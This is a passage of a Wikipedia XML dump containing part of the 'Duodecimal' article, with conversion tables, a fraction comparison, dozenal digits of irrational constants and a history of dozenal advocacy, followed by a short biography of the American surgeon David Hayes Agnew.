In a duodecimal place system, [[10 (number)|ten]] is written as A, [[11 (number)|eleven]] is written as B, [[12 (number)|twelve]] is written as 10. According to this notation, duodecimal 50 expresses the same quantity as decimal [[60 (number)|60]] (= five times twelve), duodecimal 60 is equivalent to decimal [[72 (number)|72]] (= six times twelve = half a gross), duodecimal 100 has the same value as decimal [[144 (number)|144]] (= twelve times twelve = one gross), etc. Note that in English we say ''a gross '''of''' apples'', and not *''a gross apples''. In a hypothetical duodecimal system, the term ''per gross'' (¹&amp;#8260;&lt;sub&gt;144&lt;/sub&gt;) might replace ''per cent'' (¹&amp;#8260;&lt;sub&gt;100&lt;/sub&gt;).

{|{{prettytable}}
|-
| ''Examples in duodecimal''
| ''English duodecimal name''
| ''Decimal equivalent''
|-
| 26
| two dozen and six = two and a half dozen
| [[30 (number)|30]]
|-
| 3B
| three dozen and eleven
| [[47 (number)|47]]
|-
| A0
| ten dozen = one small gross
| [[120 (number)|120]]
|-
| 1A6
| one gross ten dozen and six
| [[270 (number)|270]]
|-
| 260
| two gross and six dozen = two and a half gross = thirty dozen
| [[360 (number)|360]]
|-
| 500
| five gross
| [[720 (number)|720]]
|-
| 600
| six gross = half a great gross
| [[864 (number)|864]]
|-
| 700
| seven gross
| [[1008 (number)|1,008]]
|-
| B29
| eleven gross two dozen and nine
| [[1617 (number)|1,617]]
|-
| BBB
| eleven gross eleven dozen and eleven = one less than a great gross
| [[1727 (number)|1,727]]
|-
| 1,1B1
| one great gross one gross eleven dozen and one
| [[2005 (number)|2,005]]
|-
| 36,A17
| three dozen and six great gross ten gross one dozen and seven
| [[74035 (number)|74,035]]
|}

{|{{prettytable}}
|-
| ''Powers of '''twelve''' in duodecimal''
| ''English duodecimal name''
| ''Decimal equivalent''
|-
| '''10''' = 10^1
| twelve = one dozen
| [[12 (number)|12]] = 12^1
|-
| '''100''' = 10^2
| one gross = twelve dozen
| [[144 (number)|144]] = 12^2
|-
| '''1,000''' = 10^3
| one great gross = twelve gross
| [[1728 (number)|1,728]] = 12^3
|-
| '''10,000''' = 10^4 = 100^2
| one dozen great gross = twelve great gross
| [[20736 (number)|20,736]] = 12^4 = 144^2
|-
| '''100,000''' = 10^5
| ? (twelve to the fifth power)
| [[248832 (number)|248,832]] = 12^5
|-
| '''1,000,000''' = 10^6 = 100^3 = 1,000^2
| ? twelve to the sixth power)
| [[2985984 (number)|2,985,984]] = 12^6 = 144^3 = 1,728^2
|-
| '''10,000,000''' = 10^7
| ? (twelve to the seventh power)
| [[35831808 (number)|35,831,808]] = 12^7
|-
| '''100,000,000''' = 10^8 = 100^4
| ? (twelve to the eighth power)
| [[429981696 (number)|429,981,696]] = 12^8 = 144^4
|-
| '''1,000,000,000''' = 10^9 = 1,000^3
| ? (twelve to the ninth power)
| [[5159780352 (number)|5,159,780,352]] = 12^9 = 1,728^3
|-
| '''10,000,000,000''' = 10^A = 100^5
| ? (twelve to the tenth power)
| [[61917364224 (number)|61,917,364,224]] = 12^10 = 144^5
|-
| '''100,000,000,000''' = 10^B
| ? (twelve to the eleventh power)
| [[743008370688 (number)|743,008,370,688]] = 12^11
|-
| '''1,000,000,000,000''' = 10^10 = 10[[Knuth's up-arrow notation|^^]]2 = 100^6 = 1,000^4 = 10,000^3 = 1,000,000^2
| ? (twelve to the twelfth power = twelve [[tetration|tetrated]] to the second hyperpower)
| [[8916100448256 (number)|8,916,100,448,256]] = 12^12 = 12^^2 = 144^6 = 1,728^4 = 20,736^3 = 2,985,984^2
|}

{|{{prettytable}}
|-
| ''Powers of '''ten''' in duodecimal''
| ''English duodecimal name''
| ''Decimal equivalent''
|-
| '''A''' = A^1
| ten
| [[10 (number)|10]] = 10^1
|-
| '''84''' = A^2
| eight dozen and four
| [[100 (number)|100]] = 10^2
|-
| '''6B4''' = A^3
| six great gross eleven dozen and four
| [[1000 (number)|1,000]] = 10^3
|-
| '''5,954''' = A^4 = 84^2
| five great gross nine gross five dozen and four
| [[10000 (number)|10,000]] = 10^4 = 100^2
|-
| '''49,A54''' = A^5
| four dozen and nine great gross, ten gross five dozen and four
| [[100000 (number)|100,000]] = 10^5
|-
| '''402,854''' = A^6 = 84^3 = 6B4^2
| four gross and two great gross, eight gross five dozen and four
| [[1000000 (number)|1,000,000]] = 10^6 = 100^3 = 1,000^2
|-
| '''3,423,054''' = A^7
| ? (ten to the seventh power)
| [[10000000 (number)|10,000,000]] = 10^7
|-
| '''29,5A6,454''' = A^8 = 84^4 = 5954^2
| ? (ten to the eighth power)
| [[100000000 (number)|100,000,000]] = 10^8 = 100^4 = 10,000^2
|-
| '''23A,A93,854''' = A^9 = 6B4^3
| ? (ten to the ninth power)
| [[1000000000 (number)|1,000,000,000]] = 10^9 = 1,000^3
|-
| '''1,B30,B91,054''' = A^A = A^^2 = 84^5
| ? (ten to the tenth power = ten tetrated to the second hyperpower)
| [[10000000000 (number)|10,000,000,000]] = 10^10 = 10^^2 = 100^5
|-
| '''17,469,96A,454''' = A^B
| ? (ten to the eleventh power)
| [[100000000000 (number)|100,000,000,000]] = 10^11
|-
| '''141,981,B87,854''' = A^10 = 84^6 = 6B4^4 = 5,954^3 = 402,854^2
| ? (ten to the twelfth power)
| [[1000000000000 (number)|1,000,000,000,000]] = 10^12 = 100^6 = 1,000^4 = 10,000^3 = 1,000,000^2
|}

{|{{prettytable}}
|-
| ''Powers of '''two''' in duodecimal''
| ''English duodecimal name''
| ''Decimal equivalent''
|-
| '''2''' = 2^1
| two
| [[2 (number)|2]] = 2^1
|-
| '''4''' = 2^2 = 2^^2
| four
| [[4 (number)|4]] = 2^2 = 2^^2
|-
| '''8''' = 2^3
| eight
| [[8 (number)|8]] = 2^3
|-
| '''14''' = 2^4 = 2^^3 = 4^2
| one dozen and four
| [[16 (number)|16]] = 2^4 = 2^^3 = 4^2
|-
| '''28''' = 2^5
| two dozen and eight
| [[32 (number)|32]] = 2^5
|-
| '''54''' = 2^6 = 4^3 = 8^2
| five dozen and four
| [[64 (number)|64]] = 2^6 = 4^3 = 8^2
|-
| '''A8''' = 2^7
| ten dozen and eight = one small gross and eight
| [[128 (number)|128]] = 2^7
|-
| '''194''' = 2^8 = 4^4 = 4^^2 = 14^2
| one gross nine dozen and four
| [[256 (number)|256]] = 2^8 = 4^4 = 4^^2 = 16^2
|-
| '''368''' = 2^9 = 8^3
| three gross six dozen and eight
| [[512 (number)|512]] = 2^9 = 8^3
|-
| '''714''' = 2^A = 4^5
| seven gross one dozen and four
| [[1024 (number)|1,024]] = 2^10 = 4^5
|-
| '''1,228''' = 2^B
| one great gross two gross two dozen and eight
| [[2048 (number)|2,048]] = 2^11
|-
| '''2,454''' = 2^10 = 4^6 = 8^4 = 14^3 = 54^2
| two great gross four gross five dozen and four
| [[4096 (number)|4,096]] = 2^12 = 4^6 = 8^4 = 16^3 = 64^2
|}

==Fractions and irrational numbers==

Duodecimal [[fraction]]s are usually simple:

* 1/2 = 0.6
* 1/3 = 0.4
* 1/4 = 0.3
* 1/6 = 0.2
* 1/8 = 0.16
* 1/9 = 0.14

or complicated (A = ten, B = eleven)

* 1/5  = 0.24972497... recurring (easily rounded to 0.25)
* 1/7  = 0.186A35186A35... recurring (easily rounded to 0.187)
* 1/A  = 0.124972497... recurring (rounded to 0.125)
* 1/B  = 0.11111... recurring (rounded to 0.11)
* 1/11 = 0.0B0B... recurring (rounded to 0.0B)

As explained in [[recurring decimal]]s, whenever an [[irreducible fraction]] is written in “decimal” notation, in any base, the fraction can be expressed exactly (terminates) if and only if all the [[prime factor]]s of its denominator are also prime factors of the base. Thus, in base-ten (= 2&amp;times;5) system, fractions whose denominators are made up solely of multiples of 2 and 5 terminate:  ¹&amp;#8260;&lt;sub&gt;8&lt;/sub&gt; = ¹&amp;#8260;&lt;sub&gt;(2&amp;times;2&amp;times;2)&lt;/sub&gt;, ¹&amp;#8260;&lt;sub&gt;20&lt;/sub&gt; = ¹&amp;#8260;&lt;sub&gt;(2&amp;times;2&amp;times;5)&lt;/sub&gt;, and ¹&amp;#8260;&lt;sub&gt;500&lt;/sub&gt; (2&lt;sup&gt;2&lt;/sup&gt;&amp;times;5&lt;sup&gt;3&lt;/sup&gt;) can be expressed exactly as 0.125, 0.05, and 0.002 respectively. ¹&amp;#8260;&lt;sub&gt;3&lt;/sub&gt; and ¹&amp;#8260;&lt;sub&gt;7&lt;/sub&gt;, however, recur (0.333... and 0.142857142857...). In the duodecimal (= 2&amp;times;2&amp;times;3) system, ¹&amp;#8260;&lt;sub&gt;8&lt;/sub&gt; is exact; ¹&amp;#8260;&lt;sub&gt;20&lt;/sub&gt; and ¹&amp;#8260;&lt;sub&gt;500&lt;/sub&gt; recur because they include 5 as a factor; ¹&amp;#8260;&lt;sub&gt;3&lt;/sub&gt; is exact; and ¹&amp;#8260;&lt;sub&gt;7&lt;/sub&gt; recurs, just as it does in decimal.

Arguably, factors of 3 are more commonly encountered in real-life [[division (mathematics)|division]] problems than factors of 5 (or would be, were it not for the decimal system having influenced most cultures). Thus, in practical applications, the nuisance of [[recurring decimals]] is encountered less often when duodecimal notation is used. Advocates of duodecimal systems argue that this is particularly true of financial calculations, in which the twelve months of the year often enter into calculations. 

However, when recurring fractions do occur in duodecimal notation, they are less likely to have a very short period than in decimal notation, because [[12 (number)|12]] (twelve) is between two [[prime number]]s, [[11 (number)|11]] (eleven) and [[13 (number)|13]] (thirteen), whereas ten is adjacent to [[composite number]] [[9 (number)|9]]. Nonetheless, having a shorter or longer period doesn't help the main inconvenience that one does not get a finite representation for such fractions in the given base (so [[rounding]], which introduces inexactitude, is necessary to handle them in calculations), and overall one is more likely to have to deal with infinite recurring digits when fractions are expressed in decimal than in duodecimal, because one out of every three consecutive numbers contains the prime factor [[3 (number)|3]] in its factorization, while only one out of every five contains the prime factor [[5 (number)|5]]. All other prime factors, except 2, are not shared by either ten or twelve, so they do not influence the relative likeliness of encountering recurring digits (any irreducible fraction that contains any of these other factors in its denominator will recur in either base). Also, the prime factor [[2 (number)|2]] appears twice in the factorization of twelve, while only once in the factorization of ten; which means that most fractions whose denominators are [[power of two|powers of two]] will have a shorter, more convenient terminating representation in dozenal than in decimal (e.g., 1/(2&lt;sup&gt;2&lt;/sup&gt;) = 0.25 &lt;SMALL&gt;dec&lt;/SMALL&gt; = 0.3 &lt;SMALL&gt;doz&lt;/SMALL&gt;; 1/(2&lt;sup&gt;3&lt;/sup&gt;) = 0.125 &lt;SMALL&gt;dec&lt;/SMALL&gt; = 0.16 &lt;SMALL&gt;doz&lt;/SMALL&gt;; 1/(2&lt;sup&gt;4&lt;/sup&gt;) = 0.0625 &lt;SMALL&gt;dec&lt;/SMALL&gt; = 0.09 &lt;SMALL&gt;doz&lt;/SMALL&gt;; 1/(2&lt;sup&gt;5&lt;/sup&gt;) = 0.03125 &lt;SMALL&gt;dec&lt;/SMALL&gt; = 0.046 &lt;SMALL&gt;doz&lt;/SMALL&gt;; etc.).

{|{{prettytable}}
| colspan=&quot;3&quot; align=&quot;center&quot; | Decimal base&lt;br&gt;&lt;SMALL&gt;Prime factors of the base: &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Green&quot;&gt;'''5'''&lt;/font&gt;&lt;/SMALL&gt;
| colspan=&quot;3&quot; align=&quot;center&quot; | '''Duodecimal / Dozenal base'''&lt;br&gt;&lt;SMALL&gt;Prime factors of the base: &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Green&quot;&gt;'''3'''&lt;/font&gt;&lt;/SMALL&gt;
|-
| align=&quot;center&quot; | Fraction
| align=&quot;center&quot; | &lt;SMALL&gt;Prime factors&lt;br&gt;of the denominator&lt;SMALL&gt;
| align=&quot;center&quot; | Positional representation
| align=&quot;center&quot; | Positional representation
| align=&quot;center&quot; | &lt;SMALL&gt;Prime factors&lt;br&gt;of the denominator&lt;SMALL&gt;
| align=&quot;center&quot; | Fraction
|- 
| align=&quot;center&quot; | 1/2
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;
| '''0.5'''
| '''0.6'''
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;
| align=&quot;center&quot; | 1/2
|-
| align=&quot;center&quot; | 1/3
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''3'''&lt;/font&gt;
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;3&lt;/font&gt;3333333...
| '''0.4'''
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''3'''&lt;/font&gt;
| align=&quot;center&quot; | 1/3
|-
| align=&quot;center&quot; | 1/4
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;
| '''0.25'''
| '''0.3'''
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;
| align=&quot;center&quot; | 1/4
|-
| align=&quot;center&quot; | 1/5
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''5'''&lt;/font&gt;
| '''0.2'''
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;2497&lt;/font&gt;24972497...
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''5'''&lt;/font&gt;
| align=&quot;center&quot; | 1/5
|-
| align=&quot;center&quot; | 1/6
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Red&quot;&gt;'''3'''&lt;/font&gt;
| bgcolor=#c0c0c0 | '''0.1'''&lt;font style=&quot;text-decoration: overline&quot;&gt;6&lt;/font&gt;6666666...
| '''0.2'''
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Green&quot;&gt;'''3'''&lt;/font&gt;
| align=&quot;center&quot; | 1/6
|-
| align=&quot;center&quot; | 1/7
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''7'''&lt;/font&gt;
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;142857&lt;/font&gt;142857142857...
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;186A35&lt;/font&gt;186A35186A35...
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''7'''&lt;/font&gt;
| align=&quot;center&quot; | 1/7
|-
| align=&quot;center&quot; | 1/8
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;
| '''0.125'''
| '''0.16'''
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;
| align=&quot;center&quot; | 1/8
|-
| align=&quot;center&quot; | 1/9
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''3'''&lt;/font&gt;
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;1&lt;/font&gt;1111111...
| '''0.14'''
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''3'''&lt;/font&gt;
| align=&quot;center&quot; | 1/9
|-
| align=&quot;center&quot; | 1/10
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Green&quot;&gt;'''5'''&lt;/font&gt;
| '''0.1'''
| bgcolor=#c0c0c0 | '''0.1'''&lt;font style=&quot;text-decoration: overline&quot;&gt;2497&lt;/font&gt;24972497...
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Red&quot;&gt;'''5'''&lt;/font&gt;
| align=&quot;center&quot; | 1/A
|-
| align=&quot;center&quot; | 1/11
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''11'''&lt;/font&gt;
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;09&lt;/font&gt;09090909...
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;1&lt;/font&gt;1111111...
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''B'''&lt;/font&gt;
| align=&quot;center&quot; | 1/B
|-
| align=&quot;center&quot; | 1/12
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Red&quot;&gt;'''3'''&lt;/font&gt;
| bgcolor=#c0c0c0 | '''0.08'''&lt;font style=&quot;text-decoration: overline&quot;&gt;3&lt;/font&gt;3333333...
| '''0.1'''
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Green&quot;&gt;'''3'''&lt;/font&gt;
| align=&quot;center&quot; | 1/10
|-
| align=&quot;center&quot; | 1/13
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''13'''&lt;/font&gt;
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;076923&lt;/font&gt;076923076923...
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;0B&lt;/font&gt;0B0B0B0B...
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''11'''&lt;/font&gt;
| align=&quot;center&quot; | 1/11
|-
| align=&quot;center&quot; | 1/14
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Red&quot;&gt;'''7'''&lt;/font&gt;
| bgcolor=#c0c0c0 | '''0.0'''&lt;font style=&quot;text-decoration: overline&quot;&gt;714285&lt;/font&gt;714285714285...
| bgcolor=#c0c0c0 | '''0.0'''&lt;font style=&quot;text-decoration: overline&quot;&gt;A35186&lt;/font&gt;A35186A35186...
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Red&quot;&gt;'''7'''&lt;/font&gt;
| align=&quot;center&quot; | 1/12
|-
| align=&quot;center&quot; | 1/15
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''3'''&lt;/font&gt;, &lt;font style=&quot;color:Green&quot;&gt;'''5'''&lt;/font&gt;
| bgcolor=#c0c0c0 | '''0.0'''&lt;font style=&quot;text-decoration: overline&quot;&gt;6&lt;/font&gt;6666666...
| bgcolor=#c0c0c0 | '''0.0'''&lt;font style=&quot;text-decoration: overline&quot;&gt;9724&lt;/font&gt;97249724...
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''3'''&lt;/font&gt;, &lt;font style=&quot;color:Red&quot;&gt;'''5'''&lt;/font&gt;
| align=&quot;center&quot; | 1/13
|-
| align=&quot;center&quot; | 1/16
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;
| '''0.0625'''
| '''0.09'''
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;
| align=&quot;center&quot; | 1/14
|-
| align=&quot;center&quot; | 1/17
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''17'''&lt;/font&gt;
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;0588235294117647&lt;/font&gt;0588235294117647...
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;08579214B36429A7&lt;/font&gt;08579214B36429A7...
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''15'''&lt;/font&gt;
| align=&quot;center&quot; | 1/15
|-
| align=&quot;center&quot; | 1/18
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Red&quot;&gt;'''3'''&lt;/font&gt;
| bgcolor=#c0c0c0 | '''0.0'''&lt;font style=&quot;text-decoration: overline&quot;&gt;5&lt;/font&gt;5555555...
| '''0.08'''
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Green&quot;&gt;'''3'''&lt;/font&gt;
| align=&quot;center&quot; | 1/16
|-
| align=&quot;center&quot; | 1/19
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''19'''&lt;/font&gt;
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;052631578947368421&lt;/font&gt;052631578947368421...
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;076B45&lt;/font&gt;076B45076B45...
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''17'''&lt;/font&gt;
| align=&quot;center&quot; | 1/17
|-
| align=&quot;center&quot; | 1/20
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Green&quot;&gt;'''5'''&lt;/font&gt;
| '''0.05'''
| bgcolor=#c0c0c0 | '''0.0'''&lt;font style=&quot;text-decoration: overline&quot;&gt;7249&lt;/font&gt;72497249...
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Red&quot;&gt;'''5'''&lt;/font&gt;
| align=&quot;center&quot; | 1/18
|-
| align=&quot;center&quot; | 1/21
| align=&quot;center&quot; | &lt;font style=&quot;color:Red&quot;&gt;'''3'''&lt;/font&gt;, &lt;font style=&quot;color:Red&quot;&gt;'''7'''&lt;/font&gt;
| bgcolor=#c0c0c0 | '''0.'''&lt;font style=&quot;text-decoration: overline&quot;&gt;047619&lt;/font&gt;047619047619...
| bgcolor=#c0c0c0 | '''0.0'''&lt;font style=&quot;text-decoration: overline&quot;&gt;6A3518&lt;/font&gt;6A35186A3518...
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''3'''&lt;/font&gt;, &lt;font style=&quot;color:Red&quot;&gt;'''7'''&lt;/font&gt;
| align=&quot;center&quot; | 1/19
|-
| align=&quot;center&quot; | 1/22
| align=&quot;center&quot; | &lt;font style=&quot;color:Green&quot;&gt;'''2'''&lt;/font&gt;, &lt;font style=&quot;color:Red&quot;&gt;'''11'''&lt;/font&gt;
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As for [[irrational number]]s, none of them has a finite representation in ''any'' of the [[rational number|rational]]-based positional number systems (such as the decimal and duodecimal ones); this is because a rational-based positional number system is essentially nothing but a way of expressing quantities as a sum of fractions whose denominators are powers of the base, and by definition no ''finite'' sum of rational numbers can ever result in an irrational number. For example, 123.456 = 1 × 10&lt;sup&gt;3&lt;/sup&gt;/10 + 2 × 10&lt;sup&gt;2&lt;/sup&gt;/10 + 3 × 10/10 + 4 × 1/10 + 5 × 1/10&lt;sup&gt;2&lt;/sup&gt; + 6 × 1/10&lt;sup&gt;3&lt;/sup&gt; (this is also the reason why fractions that contain prime factors in their denominator not in common with those of the base do not have a terminating representation in that base). Moreover, the infinite series of digits of an irrational number doesn't exhibit a pattern of recursion; instead, the different digits succeed in a seemingly random fashion. The following chart compares the first few digits of the decimal and duodecimal representation of several of the most important irrational numbers. As can be seen, it is easier to memorize the first nine digits of pi in base twelve than in base ten, while the opposite happens with the first ten digits of the number e:

{|{{prettytable}}
| align=&quot;center&quot; | Irrational number
| align=&quot;center&quot; | In decimal
| align=&quot;center&quot; | '''In duodecimal / dozenal'''
|-
| align=&quot;center&quot; | [[Pi|&amp;pi;]] &lt;SMALL&gt;(pi, the ratio of [[circumference]] to [[diameter]])&lt;SMALL&gt;
| 3.141592653589793238462643... (~ 3.1416)
| '''3.18480949'''3B918664573A6211... (~ 3.1848)
|-
| align=&quot;center&quot; | [[E (mathematical constant)|e]] &lt;SMALL&gt;(the base of the [[natural logarithm]])&lt;/SMALL&gt;
| '''2.718281828'''459... (~ 2.718)
| 2.875236069821... (~ 2.875)
|-
| align=&quot;center&quot; | [[Golden ratio|&amp;phi;]] &lt;SMALL&gt;(phi, the golden ratio)&lt;/SMALL&gt;
| 1.618033988749... (~ 1.618)
| 1.74BB67728022... (~ 1.75)
|-
| align=&quot;center&quot; | [[Square root of two|√2]] &lt;SMALL&gt;(the length of the [[diagonal]] of a unit [[square]])&lt;/SMALL&gt;
| 1.414213562373... (~ 1.414)
| 1.4B79170A07B7... (~ 1.5)
|-
| align=&quot;center&quot; | [[Square root of three|√3]] &lt;SMALL&gt;(the length of the diagonal of a unit [[cube]], or twice the [[height]] of an [[equilateral triangle]])&lt;/SMALL&gt;
| 1.732050807568... (~ 1.732)
| 1.894B97BB967B... (~ 1.895)
|-
| align=&quot;center&quot; | [[Square root of five|√5]] &lt;SMALL&gt;(the length of the [[diagonal]] of a 1×2 [[rectangle]])&lt;/SMALL&gt;
| 2.236067977499... (~ 2.236)
| 2.29BB13254051... (~ 2.2A)
|}

The first few digits of the decimal and dozenal representation of another important number, the [[Leonhard Euler|Euler]]-[[Lorenzo Mascheroni|Mascheroni]] [[mathematical constant|constant]] (the status of which as a rational or irrational number is not yet known), are:

{|{{prettytable}}
| align=&quot;center&quot; | Number
| align=&quot;center&quot; | In decimal
| align=&quot;center&quot; | '''In duodecimal / dozenal'''
|-
| align=&quot;center&quot; | [[Euler-Mascheroni constant|&amp;gamma;]] &lt;SMALL&gt;(the limiting difference between the [[harmonic series (mathematics)|harmonic series]] and the natural logarithm)&lt;/SMALL&gt;
| 0.577215664901... (~ 0.577)
| 0.6B15188A6758... (~ 0.7)
|}

==Advocacy and &quot;dozenalism&quot;==
The case for the duodecimal system was put forth at length in F. Emerson Andrews' [[1935]] book, ''New Numbers: How Acceptance of a Duodecimal Base Would Simplify Mathematics''. Emerson noted that, due to the prevalence of factors of twelve in many traditional units of weight and measure, many of the computational advantages claimed for the metric system could be realized ''either'' by the adoption of ten-based weights and measure ''or'' by the adoption of the duodecimal number system. In contrary to the symbols 'A' for ten and 'B' for eleven as used in [[hexadecimal]] notation and [[vigesimal]] notation (or 'T' and 'E' for ten and eleven), he suggested in his book and used a script X and a script E, [[image:Scriptx.png]] and [[image:Scripte.png]], to represent the digits ten and eleven respectively, because, at least on a page of Roman script, these characters were distinct from any existing letters or numerals, yet were readily available in printers' fonts. He chose [[image:Scriptx.png]] for its resemblance to the Roman numeral X, and [[image:Scripte.png]] as the first letter of the word &quot;eleven&quot;.  Another popular notation, introduced by [[Isaac Pitman]], is to use an inverted 2 to represent ten and an inverted 3 to represent eleven; this is the system commonly employed by the Dozenal Society of Great Britain and has the advantage of being easily recognizable as digits. On the other hand, the Dozenal Society of America adopted for some years the convention of using an [[asterisk]] * for ten and a [[hash]] # for eleven (the reason was they are present in [[telephone]] [[dial]]s); however, critics pointed out these symbols do not look anything like digits.

The Dozenal Society of America and the Dozenal Society of Great Britain promote widespread adoption of the base-twelve system. They use the word '''dozenal''' instead of &quot;duodecimal&quot; because the latter comes from Latin roots that express twelve in base-ten terminology.

==See also==
*[[quinary]]
*[[decimal]]
*[[Vigesimal]]
*[[sexagesimal]]

==External links==
*[http://www3.aa.tufs.ac.jp/~P_aflang/TEXTS/oct98/decimal.html Decimal vs. Duodecimal: An interaction between two systems of numeration] &amp;mdash; duodecimal numerals in languages in Nigerian Middle Belt
*[http://www.kankyok.co.jp/nue/nue11/nue11_01.html The origin of a duodecimal system] (Japanese) &amp;mdash; explains a possible origin of a duodecimal system in a language
*[http://www.dozens.org/ Dozenal Society of America]
*[http://www.dozenalsociety.org.uk/ Dozenal Society of Great Britain website]

[[Category:Positional numeral systems| 12]]

[[da:Duodecimal]]
[[de:Duodezimalsystem]]
[[es:Sistema duodecimal]]
[[fr:Système duodécimal]]
[[ko:십이진법]]
[[ja:十二進記数法]]
[[ru:Двенадцатеричная система счисления]]
[[sl:Dvanajstiški številski sistem]]</text>
    </revision>
  </page>
  <page>
    <title>David Hayes Agnew</title>
    <id>8401</id>
    <revision>
      <id>35024516</id>
      <timestamp>2006-01-13T15:06:33Z</timestamp>
      <contributor>
        <username>Carie</username>
        <id>271372</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''David Hayes Agnew''' ([[November 24]], [[1818]] - [[March 22]], [[1892]]), American [[surgery|surgeon]], was born in [[Lancaster County, Pennsylvania]].

He graduated from the medical department of the 
[[University of Pennsylvania]] in 1838, and a few years later set 
up in practice at [[Philadelphia]] and became a lecturer at the 
[[Philadelphia School of Anatomy]].  He was appointed surgeon at 
the Philadelphia Hospital in 1854 and was the founder of its 
pathological museum.

For twenty-six years (1863-1889) he 
was connected with the medical faculty of the University of 
Pennsylvania, being elected professor of operative surgery 
in 1870 and professor of the principles and practice of 
surgery in the following year.  From 1865 to 1884--except 
for a brief interval --he was a surgeon at the Pennsylvania 
Hospital.  During the [[American Civil War]] he was consulting 
surgeon in the Mower Army Hospital, near Philadelphia, and 
acquired considerable reputation for his operations in cases 
of gun-shot wounds.  He attended as operating surgeon when 
[[James Garfield|President Garfield]] was fatally wounded by the bullet of an assassin in 1881.

He was the author of several works, the most important being ''The Principles and Practice of Surgery'' (1878-1883).  He died at Philadelphia on March 22, 1892.

==References==
*{{1911}}

[[Category:1818 births|Agnew, David Hayes]]
[[Category:1892 deaths|Agnew, David Hayes]]
[[Category:People from Philadelphia|Agnew, David Hayes]]
[[Category:American surgeons|Agnew, David Hayes]]
[[Category:American Civil War people|Agnew, David Hayes]]
[[Category:University of Pennsylvania alumni|Agnew, David Hayes]]</text>
